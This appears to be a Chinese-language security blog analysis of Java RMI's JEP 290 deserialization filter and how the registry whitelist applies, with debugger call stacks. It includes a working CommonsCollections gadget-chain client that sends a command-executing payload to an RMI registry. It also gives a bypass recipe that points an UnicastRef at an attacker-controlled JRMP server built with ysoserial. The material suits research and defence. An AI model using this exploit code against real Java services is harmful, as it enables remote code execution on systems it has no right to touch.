我们在创建一个注册中心的时候调用的是
LocateRegistry.createRegistry(1099);
我们跟进一下createRegistry
方法
返回的是一个RegistryImpl
对象,跟进其构造方法
如果开启了开放端口为1099
并且开启了SecurityManager
策略
将会进入if语句中进行处理,我这里进入的是else语句
将会创建一个LiveRef
对象,传入了RegistryImpl
的ObjID(0)和端口号
之后创建了一个UnicastServerRef
对象,传入了前面的LiveRef对象和RegistryImpl::registryFilter
所以我们知道其分别是将参数一和参数二传入了ref
属性和filter
属性中
我们看看RegistryImpl::registryFilter
的写法
在上面JEP Basic中也提到了,因为
存在有@FunctionalInterface
接口,所以能够通过Lambda的形式写入,这里就是这种写法
将这个RMI中内置的过滤器传入了filter
属性中去
之后调用了RegistryImpl#setup
进行设置
将创建的UnicastServerRef
对象传入RegistryImpl
类对象的ref
属性中,之后通过调用UnicastServerRef#exportObject
进行对象导出
在这里主要是将其封装成了一个Target
对象
之后调用了LiveRef#exportObject
进行导出
在后面存在有端口的监听
也有着将Target
对象放入了ObjectTable
中
在后面也导出了内置的bind / rebind / list / lookup
等方法
最后在处理方法的调用的时候,将会调用Transport#serviceCall
方法
首先从输入流中读取ObjID值,根据对应的ID获取Target对象,之后调用getDispatcher
获取其中的disp
属性
也就是前面提到的,传入的UnicastServerRef
对象
之后调用到了UnicastServerRef#dispatch
进行分发
在这里因为skel
属性不为空,所以将会调用oldDispatch
方法
在其方法中存在有unmarshalCustomCallData
方法的调用
跟进一下
将会调用Config.setObjectInputFilter
方法,进而调用ObjectInputStream#setInternalObjectInputFilter
方法将前面Registry创建过程中设置的RegistryImpl::registryFilter
这个filter传入
这里也体现了RMI的实现是一个局部过滤的操作
上面已经传入了过滤器,之后就是为什么会被拦截
可以跟着跟进到RegistryImpl_Skel#dispatch
方法,进行分发
根据不同的方法的调用,进入不同的case语句中,我这里是rebind
的调用,来到了case 3语句
按理说,漏洞的触发点在readObject
方法的调用部分,我们跟进一下
这里就是很常见的反序列化过程
registryFilter:408, RegistryImpl (sun.rmi.registry) checkInput:-1, 564742142 (sun.rmi.registry.RegistryImpl$$Lambda$2) filterCheck:1239, ObjectInputStream (java.io) readProxyDesc:1813, ObjectInputStream (java.io) readClassDesc:1748, ObjectInputStream (java.io) readOrdinaryObject:2042, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) dispatch:135, RegistryImpl_Skel (sun.rmi.registry)
在ObjectInputStream#readProxyDesc
方法调用中
将会调用filterCheck
方法,跟进
这里因为前面存在serialFilter
的赋值, 也就是前面的registryFilter
,所以将会调用他的checkInput
方法
在这里在调用serialClass
方法获取实例类之后,将会进行白名单判断,是否是
一个拦截的示例
首先是一个注册端
public class Registry { //注册使用的端口 public static void main(String[] args) throws RemoteException { LocateRegistry.createRegistry(1099); System.out.println("server start!!"); while (true); } }
之后是一个服务段,rebind了一个恶意的对象
public class RMIClientAttackDemo2 { public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, AlreadyBoundException, NoSuchFieldException, NoSuchMethodException { //仿照ysoserial中的写法,防止在本地调试的时候触发命令 Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(faketransformers); Map innerMap = new HashMap(); Map outMap = LazyMap.decorate(innerMap, transformerChain); //实例化 TiedMapEntry tme = new TiedMapEntry(outMap, "key"); Map expMap = new HashMap(); //将其作为key键传入 expMap.put(tme, "value"); //remove outMap.remove("key"); //传入利用链 Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); //使用动态代理初始化 AnnotationInvocationHandler Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); //创建handler InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, expMap); //使用AnnotationInvocationHandler动态代理Remote Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler); //链接Registry Registry registry = LocateRegistry.getRegistry("localhost", 1099); //触发反序列化 registry.rebind("test", remote); } }
没有通过前面的白名单过滤,首先是一个Remote
对象,能够通过,之后就是一个Proxy
对象,也能通过,在之后是一个AnnotationInvocationHandler
类,不能够通过白名单过滤,返回了状态码REJECTED
对于JEP RMI的绕过,主要是通过写入一个恶意ip+port,使得另一端能够访问这个恶意JRMP服务,造成的命令执行
我们来分析下为什么能够执行!
首先,我们在Registry registry = LocateRegistry.getRegistry(1099);
处打下断点
在getRegistry
方法的调用过程中,前面只是获取了本地ip地址,关键在后面,这里通过Registry_id
也就是0,和一个封装了ip和portTCPEndpoint
对象,创建了一个LiveRef
对象
再然后将其传入了UnicastRef
对象的ref
属性中
最后通过调用Util.createProxy
方法创建了一个RegistryImpl_Stub
对象,封装了UnicastRef / LiveRef / TCPEndpoint
对象
查看一下返回的Stub
结构
接下来,将会调用得到的Registry_Stub
对象的bind
方法,进行对象的绑定
即是RegistryImpl_Stub#bind
方法中
这里的ref
属性就是在创建过程中提到的UnicastRef
对象,调用其newCall
方法,根据对应的ID创建了一个StreamRemoteCall
对象并返回
之后调用writeObject
方法将我们bind的恶意对象传输到Registry
端
调用了前面得到的StreamRemoteCall
远程调用方法,即是this.ref.invoke()
方法
在这个方法调用了远程调用的executeCall
进行调用
来到了服务端Transport#serviceCall
方法的调用,获取之前writeObject传入的StreamRemoteCall
对象的输入流,中输入流中得到ID,并取出对应的Target对象
之后调用dispatch
进行分发
来到了UnicastServerRef#dispatch
方法
调用了oldDispatch
方法
下面的,不详细分析了,前面也讲过这个流程
贴个调用链就行了
registryFilter:416, RegistryImpl (sun.rmi.registry) checkInput:-1, 564742142 (sun.rmi.registry.RegistryImpl$$Lambda$2) filterCheck:1239, ObjectInputStream (java.io) readNonProxyDesc:1878, ObjectInputStream (java.io) readClassDesc:1751, ObjectInputStream (java.io) readOrdinaryObject:2042, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) dispatch:76, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:468, UnicastServerRef (sun.rmi.server) dispatch:300, UnicastServerRef (sun.rmi.server)
之后就是进行过滤器的白名单验证
这里也是这个Bypass点的关键点,这里利用的是白名单中的Remote
接口,在其实现类中有一个RemoteObject
这个抽象类,能够通过白名单
我们知道反序列化具有传递性,是一层一层的进行反序列化的,在序列化RemoteObject
的时候,将会调用其readObject
方法
这里从输入流中调用readObject
得到UnicastRef
对象
接着调用了readExternal
方法
跟进
在这个方法中调用了LiveRef#read
方法从输入流中获取了我们在前面封装的LiveRef
对象,跟进一下
在该方法中首先从输入流中获取了TCPEndpoint对象,并在后面封装成了一个LiveRef
对象
在后面通过调用saveRef
方法,
从incomingRefTable
属性中获取var2这个Endpoint对象,如果没有这个Endpoint,将会将这个Endpoint put进入map对象中
看看这个属性
这是一个Endpoint
和LiveRef
对象列表的映射
在最后将LiverRef
对象写入前面new的一个ArrayList中去
在添加进入了Endpoint
对象之后,结束了readObject方法的调用
回到了RegistryImpl_Skel#dispatch
方法中,执行StreamRemoteCall#releaseInputStream
方法
跟进一下
这里的this.in
属性就是ConnectionInputStream
,不为空,调用了他的registryRefs
方法来进行Ref的注册
这里的incomingRefTable
是不为空的,因为我们在前面的saveRef
方法添加了映射
这里将会迭代的取出属性中的每一对映射,调用DGCClient.registerRefs
方法进行注册调用
这里通过DGCClient.EndpointEntry.lookup
方法进行对应Endpoint
的发起连接
如果我们能够控制这里的Endpoint
对象的ip and port,就能够对任意的服务发起连接,如果搭建一个恶意的JRMP服务,就能够成功利用
如何控制Endpoint
对象后面讲,下面讲的是利用原理
在进行远程连接之后得到的是一个DGCClient$EndpointEntry
对象
一直可以来到DGCImpl_Stub#dirty
方法中
首先获取了一个远程调用对象
之后类似之前的RegistryImpl_Stub
中的,调用invoke
方法
在UnicastRef#invoke
方法中调用executeCall
进行远程调用
这里存在有个ConnectionInputStream#readObject
的调用
因为RMI是一种局部过滤器,在这里的反序列化调用中是不存在有过滤器限制的,所以能够
所以,我们如果在恶意的服务端在ConnectionInputStream
对象中writeObject了一个恶意对象就能够成功反序列化
找到一个RemoteObject
类或其没有重写readObject
方法的类,能够控制其内部的RemoteRef
类型属性ref
为包含恶意端口的UnicastRef
对象
因为RemoteObject
类是一个抽象类,所以我们需要找到他的实现类
我们可以找到RemoteObjectInvocationHandler
这个类
在其构造方法中,存在有ref
属性的赋值
根据前面的分析,我们知道一个UnicastRef
对象封装了一个LiveRef
对象,我们关注一下LiveRef
的构造方法
参数一是一个ObjID
,RMI间是通过这个来判断调用哪个远程对象的,参数二是一个Endpoint
对象,我们传入一个带有恶意服务端的ip和port的TCPEndpoint
对象,参数三是一个Boolean类型的形参,判断该Endpoint是否是远程对象
构造
ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("localhost", 9999); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
之后直接将这个恶意的ref传入RemoteObjectInvocationHandler
构造方法中就行了
对于恶意JRMP服务我们可以直接使用ysoserial项目
在 8u231 版本及以上的 DGCImpl_Stub#dirty 方法中多了一个 setObjectInputFilter 的过程,所以将会被过滤